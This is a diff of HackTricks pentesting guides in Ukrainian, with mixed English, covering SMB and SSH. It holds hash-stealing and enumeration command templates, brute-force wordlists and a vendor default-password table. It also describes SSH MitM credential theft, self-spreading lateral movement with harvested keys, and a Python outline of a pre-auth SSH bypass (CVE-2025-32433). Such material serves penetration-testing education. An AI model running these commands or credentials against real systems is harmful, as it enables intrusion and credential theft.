Бібліотека Windows URLMon.dll автоматично намагається автентифікуватися на хості, коли сторінка намагається звернутися до вмісту через SMB, наприклад: `img src="\\10.10.10.10\path\image.jpg"`
Бібліотека Windows URLMon.dll автоматично намагається аутентифікуватися на хості, коли сторінка намагається отримати доступ до вмісту через SMB, наприклад: `img src="\\10.10.10.10\path\image.jpg"`
Це відбувається за допомогою функцій:
This happens with the functions:
- URLDownloadToFile
- URLDownloadToCache
- URLOpenStream
- URLOpenBlockingStream
Які використовуються деякими браузерами та інструментами (наприклад, Skype)
Which are used by some browsers and tools (like Skype)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
### SMBTrap using MitMf
### SMBTrap з використанням MitMf
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>)
## NTLM Theft
Подібно до SMB Trapping, розміщення шкідливих файлів на target system (наприклад через SMB) може спричинити спробу SMB authentication, що дозволяє перехопити NetNTLMv2 hash за допомогою інструменту, такого як Responder. Хеш потім можна crack offline або використати в an [SMB relay attack](#smb-relay-attack).
Подібно до SMB Trapping, розміщення шкідливих файлів на цільовій системі (наприклад, через SMB) може спричинити спробу SMB-аутентифікації, що дозволяє перехопити хеш NetNTLMv2 за допомогою інструмента, такого як Responder. Потім хеш можна зламати офлайн або використати в [SMB relay attack](#smb-relay-attack).
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
## HackTricks Automatic Commands
## HackTricks Автоматичні команди
```
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
@ -497,8 +513,8 @@ getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
@ -533,4 +549,10 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
```
## Посилання
- [NetExec (CME) вікі використання Kerberos](https://www.netexec.wiki/)
- [Pentesting Kerberos (88) налаштування клієнта та усунення несправностей](../pentesting-kerberos-88/README.md)
- [0xdf HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,51 +4,51 @@
## Основна інформація
**SSH (Secure Shell або Secure Socket Shell)** - це мережевий протокол, який забезпечує безпечне з'єднання з комп'ютером через незахищену мережу. Він є важливим для підтримки конфіденційності та цілісності даних при доступі до віддалених систем.
**SSH (Secure Shell or Secure Socket Shell)** — це мережевий протокол, який дозволяє встановити безпечне з'єднання з комп'ютером через незахищену мережу. Він є необхідним для забезпечення конфіденційності та цілісності даних при доступі до віддалених систем.
**Порт за замовчуванням:** 22
```
22/tcp open ssh syn-ack
```
**SSH сервери:**
**SSH servers:**
- [openSSH](http://www.openssh.org) OpenBSD SSH, постачається в BSD, дистрибутивах Linux та Windows з Windows 10
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) реалізація SSH для середовищ з обмеженими ресурсами пам'яті та процесора, постачається в OpenWrt
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) реалізація SSH для Windows, клієнт зазвичай використовується, але використання сервера є рідкісним
- [openSSH](http://www.openssh.org) OpenBSD SSH, постачається в BSD, дистрибутивах Linux та Windows починаючи з Windows 10
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) реалізація SSH для середовищ з обмеженою пам'яттю та обчислювальними ресурсами, включена в OpenWrt
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) реалізація SSH для Windows; клієнт використовується часто, а сервер застосовується рідше
- [CopSSH](https://www.itefix.net/copssh) реалізація OpenSSH для Windows
**Бібліотеки SSH (реалізація на стороні сервера):**
**SSH libraries (implementing server-side):**
- [libssh](https://www.libssh.org) багатоплатформна C бібліотека, що реалізує протокол SSHv2 з прив'язками в [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) та [R](https://github.com/ropensci/ssh); використовується KDE для sftp та GitHub для інфраструктури git SSH
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) бібліотека сервера SSHv2, написана на ANSI C та призначена для вбудованих, RTOS та ресурсно обмежених середовищ
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) бібліотека Apache SSHD на Java базується на Apache MINA
- [paramiko](https://github.com/paramiko/paramiko) бібліотека протоколу SSHv2 на Python
- [libssh](https://www.libssh.org) кросплатформна C бібліотека, що реалізує протокол SSHv2 з биндингами в [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) і [R](https://github.com/ropensci/ssh); використовується KDE для sftp та GitHub для git SSH інфраструктури
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) бібліотека SSHv2 для сервера, написана на ANSI C і орієнтована на embedded, RTOS та середовища з обмеженими ресурсами
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) Apache SSHD java library is based on Apache MINA
- [paramiko](https://github.com/paramiko/paramiko) Python SSHv2 protocol library
## Перерахування
## Enumeration
### Захоплення банера
### Banner Grabbing
```bash
nc -vn <IP> 22
```
### Автоматизований ssh-аудит
### Автоматизований ssh-audit
ssh-audit - це інструмент для аудиту конфігурації ssh-сервера та клієнта.
ssh-audit — інструмент для аудиту конфігурацій ssh-сервера та клієнта.
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) - це оновлений форк від [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) is an updated fork from [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
**Особливості:**
**Можливості:**
- Підтримка серверів протоколів SSH1 та SSH2;
- аналіз конфігурації SSH-клієнта;
- отримання банера, розпізнавання пристрою або програмного забезпечення та операційної системи, виявлення стиснення;
- збір алгоритмів обміну ключами, ключів хоста, шифрування та коду автентифікації повідомлень;
- вивід інформації про алгоритми (доступно з, видалено/вимкнено, небезпечно/слабко/старе тощо);
- вивід рекомендацій щодо алгоритмів (додати або видалити на основі розпізнаної версії програмного забезпечення);
- вивід інформації про безпеку (пов'язані проблеми, призначений список CVE тощо);
- Підтримка серверів протоколів SSH1 і SSH2;
- аналіз конфігурації клієнта SSH;
- отримання banner, розпізнавання пристрою або ПЗ та операційної системи, виявлення стиснення;
- збір алгоритмів key-exchange, host-key, encryption та message authentication code;
- вивід інформації про алгоритми (доступні з версії, видалені/відключені, небезпечні/слабкі/застарілі тощо);
- рекомендації щодо алгоритмів (додавати або видаляти на основі розпізнаної версії ПЗ);
- вивід інформації про безпеку (пов'язані проблеми, список призначених CVE тощо);
- аналіз сумісності версій SSH на основі інформації про алгоритми;
- історична інформація з OpenSSH, Dropbear SSH та libssh;
- працює на Linux та Windows;
- без залежностей
- не має залежностей
```bash
usage: ssh-audit.py [-1246pbcnjvlt] <host>
@ -69,7 +69,7 @@ use -t to change timeout)
(default: 5)
$ python3 ssh-audit <IP>
```
[Дивіться в дії (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
[See it in action (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
### Публічний SSH ключ сервера
```bash
@ -77,9 +77,9 @@ ssh-keyscan -t rsa <IP> -p <PORT>
```
### Слабкі алгоритми шифрування
Це виявляється за замовчуванням за допомогою **nmap**. Але ви також можете використовувати **sslcan** або **sslyze**.
Це виявляється за замовчуванням за допомогою **nmap**. Але ви також можете використати **sslcan** або **sslyze**.
### Скрипти Nmap
### Nmap скрипти
```bash
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
@ -91,116 +91,135 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
- `ssh`
## Брутфорс імен користувачів, паролів та приватних ключів
## Brute force usernames, passwords and private keys
### Перерахування імен користувачів
### Username Enumeration
В деяких версіях OpenSSH ви можете здійснити таймінгову атаку для перерахування користувачів. Ви можете використовувати модуль metasploit для експлуатації цього:
У деяких версіях OpenSSH можна здійснити timing attack, щоб enumerate users. Ви можете використати metasploit module, щоб exploit це:
```
msf> use scanner/ssh/ssh_enumusers
```
### [Brute force](../generic-hacking/brute-force.md#ssh)
Деякі загальні ssh облікові дані [тут](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) та [тут](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) і нижче.
Деякі поширені ssh credentials [тут](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) і [тут](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) та нижче.
### Private Key Brute Force
Якщо ви знаєте деякі ssh приватні ключі, які можуть бути використані... давайте спробуємо. Ви можете використовувати скрипт nmap:
Якщо ви знаєте деякі ssh private keys, які могли б бути використані... спробуємо. Ви можете використати nmap script:
```
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
```
Або модуль допоміжного MSF:
Або MSF auxiliary module:
```
msf> use scanner/ssh/ssh_identify_pubkeys
```
Або використовуйте `ssh-keybrute.py` (рідний python3, легкий і має увімкнені застарілі алгоритми): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
Або використайте `ssh-keybrute.py` (native python3, легкий та з увімкненими legacy алгоритмами): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
#### Відомі погані ключі можна знайти тут:
#### Відомі badkeys можна знайти тут:
{{#ref}}
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
{{#endref}}
#### Слабкі SSH ключі / Передбачуваний PRNG Debian
#### Слабкі SSH-ключі / передбачуваний PRNG у Debian
Деякі системи мають відомі недоліки в випадковому насінні, яке використовується для генерації криптографічного матеріалу. Це може призвести до значного зменшення простору ключів, який можна зламати. Попередньо згенеровані набори ключів, згенеровані на системах Debian, які підлягають впливу слабкого PRNG, доступні тут: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Деякі системи мають відомі вади в випадковому сіді, що використовується для генерації криптографічних матеріалів. Це може призвести до значно зменшеного простору ключів, який можна перебрати брутфорсом. Попередньо згенеровані набори ключів з систем Debian, які постраждали через слабкий PRNG, доступні тут: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Вам слід подивитися тут, щоб знайти дійсні ключі для машини жертви.
Варто переглянути ці ресурси, щоб знайти дійсні ключі для цільової машини.
### Kerberos
### Kerberos / GSSAPI SSO
**crackmapexec** з використанням протоколу `ssh` може використовувати опцію `--kerberos` для **автентифікації через kerberos**.\
Для отримання додаткової інформації запустіть `crackmapexec ssh --help`.
Якщо цільовий SSH-сервер підтримує GSSAPI (наприклад Windows OpenSSH на domain controller), ви можете автентифікуватися, використавши свій Kerberos TGT замість пароля.
## Стандартні облікові дані
Порядок дій з Linux-хоста нападника:
```bash
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
| **Виробник** | **Імена користувачів** | **Паролі** |
| ------------ | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
# 3) Obtain a TGT for the user
kinit <user>
klist
# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
```
Примітки:
- Якщо ви підключаєтесь до неправильного імені (наприклад, коротке ім'я хоста, псевдонім або неправильний порядок у `/etc/hosts`), ви можете отримати: "Server not found in Kerberos database" через те, що SPN не збігається.
- `crackmapexec ssh --kerberos` також може використовувати ваш ccache для Kerberos-аутентифікації.
## Типові облікові дані
| **Постачальник** | **Імена користувачів** | **Паролі** |
| ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
## SSH-MitM
Якщо ви знаходитесь у локальній мережі, як жертва, яка збирається підключитися до SSH-сервера, використовуючи ім'я користувача та пароль, ви можете спробувати **виконати атаку MitM, щоб вкрасти ці облікові дані:**
Якщо ви перебуваєте в локальній мережі поруч із жертвою, яка збирається підключитися до SSH-сервера, використовуючи ім'я користувача та пароль, ви можете спробувати виконати MitM-атаку, щоб викрасти ці облікові дані:
**Шлях атаки:**
**Хід атаки:**
- **Перенаправлення трафіку:** Зловмисник **відволікає** трафік жертви на свою машину, ефективно **перехоплюючи** спробу підключення до SSH-сервера.
- **Перехоплення та ведення журналу:** Машина зловмисника діє як **проксі**, **захоплюючи** дані для входу користувача, видаючи себе за легітимний SSH-сервер.
- **Виконання команд та реле:** Нарешті, сервер зловмисника **реєструє облікові дані користувача**, **пересилає команди** на реальний SSH-сервер, **виконує** їх і **надсилає результати назад** користувачу, роблячи процес безперервним і легітимним.
- **Перенаправлення трафіку:** Атакуючий **перенаправляє** трафік жертви на свою машину, фактично **перехоплюючи** спробу підключення до SSH-сервера.
- **Перехоплення та логування:** Машина атакуючого виступає як **проксі**, **захоплюючи** дані для входу користувача, видаючи себе за легітимний SSH-сервер.
- **Виконання команд і ретрансляція:** Нарешті, сервер атакуючого **записує облікові дані користувача**, **пересилає команди** на реальний SSH-сервер, **виконує** їх і **повертає результати** користувачеві, роблячи процес безшовним і легітимним на вигляд.
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) робить саме те, що описано вище.
Щоб виконати фактичний MitM, ви можете використовувати такі техніки, як ARP-спуфінг, DNS-спуфінг або інші, описані в [**Атаках на спуфінг мережі**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing).
Щоб виконати фактичну MitM-атаку, можна використовувати техніки на кшталт ARP spoofing, DNS spoofin або інші, описані в [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing).
## SSH-Snake
Якщо ви хочете пересуватися мережею, використовуючи виявлені приватні ключі SSH на системах, використовуючи кожен приватний ключ на кожній системі для нових хостів, тоді [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) - це те, що вам потрібно.
Якщо ви хочете переміщатися по мережі, використовуючи виявлені приватні SSH-ключі на системах, застосовуючи кожний приватний ключ на кожній системі для доступу до нових хостів, то [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) — саме те, що вам потрібно.
SSH-Snake автоматично та рекурсивно виконує такі завдання:
SSH-Snake виконує наступні дії автоматично і рекурсивно:
1. На поточній системі знайти будь-які приватні ключі SSH,
2. На поточній системі знайти будь-які хости або призначення (user@host), які можуть приймати приватні ключі,
3. Спробувати підключитися до всіх призначень, використовуючи всі виявлені приватні ключі,
4. Якщо підключення до призначення успішне, повторити кроки #1 - #4 на підключеній системі.
1. На поточній системі знайти будь-які приватні SSH-ключі,
2. На поточній системі знайти будь-які хости або цілі (user@host), до яких можуть прийматися знайдені ключі,
3. Спробувати підключитися по SSH до всіх цілей, використовуючи всі знайдені приватні ключі,
4. Якщо підключення до цілі відбулося успішно — повторити кроки 14 на підключеній системі.
Він повністю самовідтворюється та саморозповсюджується - і повністю безфайловий.
Воно повністю самовідтворюється і саморозповсюджується — і повністю безфайлове.
## Неправильні конфігурації
## Помилки в конфігурації
### Вхід як root
### Вхід root
Зазвичай SSH-сервери дозволяють вхід користувача root за замовчуванням, що становить значний ризик для безпеки. **Вимкнення входу root** є критично важливим кроком у забезпеченні безпеки сервера. Несанкціонований доступ з адміністративними привілеями та атаки грубої сили можуть бути зменшені шляхом внесення цієї зміни.
Досить часто SSH-сервери за замовчуванням дозволяють вхід користувача root, що становить значний ризик безпеці. **Вимкнення входу root** є критичним кроком для захисту сервера. Несанкціонований доступ з адміністративними привілеями та атаки методом перебору можна пом’якшити, виконавши цю зміну.
**Щоб вимкнути вхід root в OpenSSH:**
1. **Відредагуйте файл конфігурації SSH** за допомогою: `sudoedit /etc/ssh/sshd_config`
2. **Змініть налаштування** з `#PermitRootLogin yes` на **`PermitRootLogin no`**.
2. **Змініть параметр** з `#PermitRootLogin yes` на **`PermitRootLogin no`**.
3. **Перезавантажте конфігурацію** за допомогою: `sudo systemctl daemon-reload`
4. **Перезапустіть SSH-сервер**, щоб застосувати зміни: `sudo systemctl restart sshd`
### SFTP Брутфорс
### SFTP Brute Force
- [**SFTP Брутфорс**](../generic-hacking/brute-force.md#sftp)
- [**SFTP Brute Force**](../generic-hacking/brute-force.md#sftp)
### Виконання команд SFTP
### SFTP command execution
Існує поширена помилка в налаштуваннях SFTP, коли адміністратори мають намір, щоб користувачі обмінювалися файлами без увімкнення доступу до віддаленого терміналу. Незважаючи на те, що користувачам надаються неінтерактивні оболонки (наприклад, `/usr/bin/nologin`) і обмежуються певною директорією, залишається вразливість безпеки. **Користувачі можуть обійти ці обмеження**, запитуючи виконання команди (такої як `/bin/bash`) відразу після входу, до того, як їх призначена неінтерактивна оболонка візьме на себе. Це дозволяє виконувати несанкціоновані команди, підриваючи заплановані заходи безпеки.
У налаштуваннях SFTP часто трапляється поширена помилка: адміністратори хочуть дозволити користувачам обмінюватися файлами без надання доступу до віддаленої оболонки. Незважаючи на встановлення для користувачів неінтерактивних оболонок (наприклад, `/usr/bin/nologin`) і обмеження їх конкретною директорією, залишається пролом у безпеці. **Користувачі можуть обійти ці обмеження**, запитавши виконання команди (наприклад `/bin/bash`) відразу після входу, до того як почне діяти їх неінтерактивна оболонка. Це дозволяє несанкціоноване виконання команд і підриває передбачені заходи безпеки.
[Приклад звідси](https://community.turgensec.com/ssh-hacking-guide/):
[Example from here](https://community.turgensec.com/ssh-hacking-guide/):
```bash
ssh -v noraj@192.168.1.94 id
...
@ -233,42 +252,42 @@ PermitTunnel no
X11Forwarding no
PermitTTY no
```
Ця конфігурація дозволить лише SFTP: відключаючи доступ до оболонки, примушуючи команду запуску та відключаючи доступ до TTY, а також відключаючи всі види переадресації портів або тунелювання.
Ця конфігурація дозволяє лише SFTP: вона відключає shell access шляхом примусового запуску start command і відключає TTY access, а також забороняє будь-який port forwarding або tunneling.
### SFTP Tunneling
Якщо у вас є доступ до SFTP сервера, ви також можете тунелювати свій трафік через це, наприклад, використовуючи звичайну переадресацію портів:
Якщо у вас є доступ до SFTP server, ви також можете tunnel your traffic через нього — наприклад, використовуючи стандартне port forwarding:
```bash
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
```
### SFTP Symlink
Команда **sftp** має команду "**symlink**". Тому, якщо у вас є **права на запис** в якійсь папці, ви можете створювати **symlink** на **інші папки/файли**. Оскільки ви, ймовірно, **застрягли** всередині chroot, це **не буде особливо корисно** для вас, але, якщо ви можете **доступитися** до створеного **symlink** з **no-chroot** **сервісу** (наприклад, якщо ви можете доступитися до symlink з вебу), ви могли б **відкрити symlinked файли через веб**.
У **sftp** є команда "**symlink**". Тому, якщо у вас є **writable rights** в якійсь папці, ви можете створювати **symlinks** of **other folders/files**. Оскільки ви, ймовірно, **trapped** всередині chroot, це **won't be specially useful** для вас, але якщо ви зможете **access** створений **symlink** з **no-chroot** **service** (наприклад, якщо ви зможете access the symlink from the web), ви могли б **open the symlinked files through the web**.
Наприклад, щоб створити **symlink** з нового файлу **"**_**froot**_**" на "**_**/**_**"**:
Наприклад, щоб створити **symlink** from a new file **"**_**froot**_**" to "**_**/**_**"**:
```bash
sftp> symlink / froot
```
Якщо ви можете отримати доступ до файлу "_froot_" через веб, ви зможете переглянути кореневу ("/") папку системи.
Якщо ви можете отримати доступ до файлу "_froot_" через веб, ви зможете перелічити кореневу ("/") папку системи.
### Методи аутентифікації
### Методи автентифікації
У середовищах з високим рівнем безпеки звичайною практикою є увімкнення лише аутентифікації на основі ключів або двофакторної аутентифікації, а не простого пароля. Але часто більш надійні методи аутентифікації увімкнені без вимкнення слабших. Частим випадком є увімкнення `publickey` у конфігурації openSSH і встановлення його як методу за замовчуванням, але без вимкнення `password`. Таким чином, використовуючи режим детального виводу клієнта SSH, зловмисник може побачити, що увімкнено слабший метод:
У середовищах з високим рівнем безпеки зазвичай практикують увімкнення лише автентифікації на основі ключів або двофакторної автентифікації замість простої автентифікації на основі пароля. Але часто більш сильні методи автентифікації вмикають, не вимикаючи слабші. Частий випадок — увімкнення `publickey` в конфігурації openSSH і встановлення його як методу за замовчуванням, але не вимкнення `password`. Тому, використовуючи режим детального виводу SSH client, атакуючий може побачити, що слабший метод увімкнено:
```bash
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
```
Наприклад, якщо встановлено обмеження на кількість невдалих спроб автентифікації і ви ніколи не отримуєте можливості дістатися до методу пароля, ви можете використовувати опцію `PreferredAuthentications`, щоб примусити використовувати цей метод.
Наприклад, якщо встановлено ліміт невдалих спроб аутентифікації й ви ніколи не маєте змоги дійти до password-методу, ви можете використати опцію `PreferredAuthentications`, щоб примусово використовувати цей метод.
```bash
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
```
Перегляд конфігурації сервера SSH є необхідним для перевірки, що лише очікувані методи авторизовані. Використання режиму детального виводу на клієнті може допомогти побачити ефективність конфігурації.
Перегляд конфігурації SSH-сервера необхідний, щоб перевірити, що дозволені лише очікувані методи. Використання verbose mode на клієнті може допомогти побачити ефективність конфігурації.
### Config files
### Файли конфігурації
```bash
ssh_config
sshd_config
@ -282,20 +301,20 @@ id_rsa
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
## Обхід стану аутентифікації (Pre-Auth RCE)
## Authentication State-Machine Bypass (Pre-Auth RCE)
Декілька реалізацій SSH-серверів містять логічні помилки в **кінцевій автоматі аутентифікації**, які дозволяють клієнту надсилати *повідомлення протоколу з'єднання* **до** завершення аутентифікації. Оскільки сервер не перевіряє, що він у правильному стані, ці повідомлення обробляються так, ніби користувач повністю аутентифікований, що призводить до **неаутентифікованого виконання коду** або створення сесії.
Кілька реалізацій SSH-сервера містять логічні помилки в **authentication finite-state machine**, що дозволяють клієнту надсилати *connection-protocol* повідомлення **до того**, як автентифікація завершиться. Оскільки сервер не перевіряє, що він знаходиться в правильному стані, ці повідомлення обробляються так, ніби користувач повністю автентифікований, що призводить до **unauthenticated code execution** або створення сесії.
На протокольному рівні будь-яке SSH-повідомлення з одом повідомлення_ **≥ 80** (0x50) належить до *шару з'єднання* (RFC 4254) і повинно **прийматися лише після успішної аутентифікації** (RFC 4252). Якщо сервер обробляє одне з цих повідомлень, перебуваючи ще в стані *SSH_AUTHENTICATION*, зловмисник може негайно створити канал і запитати дії, такі як виконання команд, переадресація портів тощо.
На рівні протоколу будь-яке повідомлення SSH з _message code_ **≥ 80** (0x50) належить до шару *connection* (RFC 4254) і має **прийматися лише після успішної автентифікації** (RFC 4252). Якщо сервер обробляє одне з цих повідомлень, перебуваючи ще в стані *SSH_AUTHENTICATION*, нападник може негайно створити канал і запросити дії, такі як command execution, port-forwarding тощо.
### Загальні кроки експлуатації
1. Встановіть TCP-з'єднання з SSH-портом цілі (зазвичай 22, але інші служби можуть відкривати Erlang/OTP на 2022, 830, 2222…).
2. Сформуйте сирий SSH-пакет:
* 4-байтовий **packet_length** (big-endian)
* 1-байтовий **message_code** ≥ 80 (наприклад, `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
* Вантаж, який буде зрозумілий обраного типу повідомлення
3. Надішліть пакет(и) **до завершення будь-якого кроку аутентифікації**.
4. Взаємодійте з API сервера, які тепер доступні о аутентифікації_ (виконання команд, переадресація портів, доступ до файлової системи тощо).
1. Встановіть TCP-з'єднання до SSH-порту цілі (зазвичай 22, але інші сервіси можуть слухати Erlang/OTP на 2022, 830, 2222…).
2. Сформуйте raw SSH-пакет:
* 4-байтове **packet_length** (big-endian)
* 1-байтовий **message_code** ≥ 80 (наприклад `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
* Payload, який буде зрозумілий обраному типу повідомлення
3. Надашліть пакет(и) **до завершення будь-якого кроку автентифікації**.
4. Взаємодійте з API сервера, які тепер відкриті _pre-auth_ (command execution, port forwarding, file-system access, …).
Python proof-of-concept outline:
```python
@ -309,39 +328,43 @@ pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands
```
На практиці вам потрібно буде виконати (або пропустити) обмін ключами відповідно до реалізації цілі, але **жодна аутентифікація** ніколи не виконується.
На практиці вам потрібно виконати (або пропустити) key-exchange залежно від реалізації цілі, але **no authentication** ніколи не виконується.
---
### Erlang/OTP `sshd` (CVE-2025-32433)
* **Підлягаючі версії:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
